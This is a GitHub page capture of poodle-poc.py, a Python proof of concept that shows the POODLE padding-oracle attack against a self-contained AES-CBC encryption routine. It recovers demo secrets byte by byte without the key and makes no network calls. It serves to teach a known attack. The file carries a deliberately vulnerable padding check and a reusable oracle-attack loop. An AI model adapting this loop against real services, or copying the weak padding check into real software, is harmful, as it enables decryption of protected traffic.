-
-
Notifications
You must be signed in to change notification settings - Fork 74
/
poodle-poc.py
152 lines (124 loc) · 4.57 KB
/
poodle-poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Poodle attack - PoC
Implementation of the cryptography behind the attack
Author: mpgn <[email protected]> - 2016
Update : 2018 - refactor to python3
'''
import binascii
import sys
import re
import hmac, hashlib, base64
from Crypto.Cipher import AES
from Crypto import Random
"""
Implementation of AES-256 with CBC cipher mode
cipher = plaintext + hmac + padding
IV and KEY are random
there is no handshake (no need)
"""
IV = Random.new().read( AES.block_size )
KEY = Random.new().read( AES.block_size )
# generate random key and iv
def randkey():
global IV
IV = Random.new().read( AES.block_size )
global KEY
KEY = Random.new().read( AES.block_size )
# padding for the CBC cipher block
def pad(s):
return (16 - len(s) % 16) * chr((16 - len(s) - 1) % 16)
# unpad after the decryption
# return the msg, the hmac and the hmac of msg
def unpad_verifier(s):
msg = s[0:len(s) - 32 - ord(s[len(s)-1:]) - 1]
hash_c = s[len(msg):-ord(s[len(s)-1:]) - 1]
hash_d = hmac.new(KEY, msg, hashlib.sha256).digest()
return msg, hash_d, hash_c
# cipher a message
def encrypt( msg):
data = msg.encode()
hash = hmac.new(KEY, data, hashlib.sha256).digest()
padding = pad(data + hash)
raw = data + hash + padding.encode()
cipher = AES.new(KEY, AES.MODE_CBC, IV )
return cipher.encrypt( raw )
# decipher a message then check if padding is good with unpad_verifier()
def decrypt( enc):
decipher = AES.new(KEY, AES.MODE_CBC, IV )
plaintext, signature_2, sig_c = unpad_verifier(decipher.decrypt( enc ))
if signature_2 != sig_c:
return 0
return plaintext
'''
the main attack start here
the function run(SECRET) will try to decipher the SECRET without knowing the key
used for AES
'''
def split_len(seq, length):
return [seq[i:i+length] for i in range(0, len(seq), length)]
def run(SECRET):
secret = []
length_block = 16
a = encrypt(SECRET)
print(decrypt(a))
# fill the last block with full padding 0f
t = binascii.hexlify(encrypt(SECRET))
original_length = len(t)
t = 1
while(True):
length = len(binascii.hexlify(encrypt("a"*t + SECRET)))
if( length > original_length ):
break
t += 1
save = t
v = []
# we can decipher block_1...block_n-2 => the plaintext
print("[+] Start Deciphering using POA...")
for block in range(original_length//32-2,0,-1):
for char in range(length_block):
count = 0
while True:
randkey()
request = split_len(binascii.hexlify(encrypt("$"*16 + "#"*t + SECRET + "%"*(block*length_block - char))), 32)
# change the last block with a block of our choice
request[-1] = request[block]
# send the request a get the result => padding error OR OK
cipher = binascii.unhexlify(b''.join(request).decode())
plain = decrypt(cipher)
count += 1
if plain != 0:
t += 1
pbn = request[-2]
pbi = request[block - 1]
# padding is ok we found a byte
decipher_byte = chr(int("0f",16) ^ int(pbn[-2:],16) ^ int(pbi[-2:],16))
secret.append(decipher_byte)
tmp = secret[::-1]
sys.stdout.write("\r[+] Found byte \033[36m%s\033[0m - Block %d : [%16s]" % (decipher_byte, block, ''.join(tmp)))
sys.stdout.flush()
break
print('')
secret = secret[::-1]
v.append(('').join(secret))
secret = []
t = save
v = v[::-1]
plaintext = re.sub('^#+','',('').join(v))
print("\n\033[32m{-} Deciphered plaintext\033[0m :", plaintext)
return v
if __name__ == '__main__':
print("{-} Poodle Proof of Concept\n")
SECRET = "This is a PoC of the Poodle Attack against SSL/TLS"
print("[+] Secret plaintext :", SECRET)
print("[+] Encrypted with \033[33mAES-256 MODE_CBC\033[0m")
print("")
run(SECRET)
print("")
SECRET = "I can decipher the plaintext without knowing the private key used for the encryption"
print("[+] Secret plaintext :", SECRET)
print("[+] Encrypted with \033[33mAES-256 MODE_CBC\033[0m")
print("")
run(SECRET)
print("\n{-} Poodle PoC github.com/mpgn/Poodle-PoC")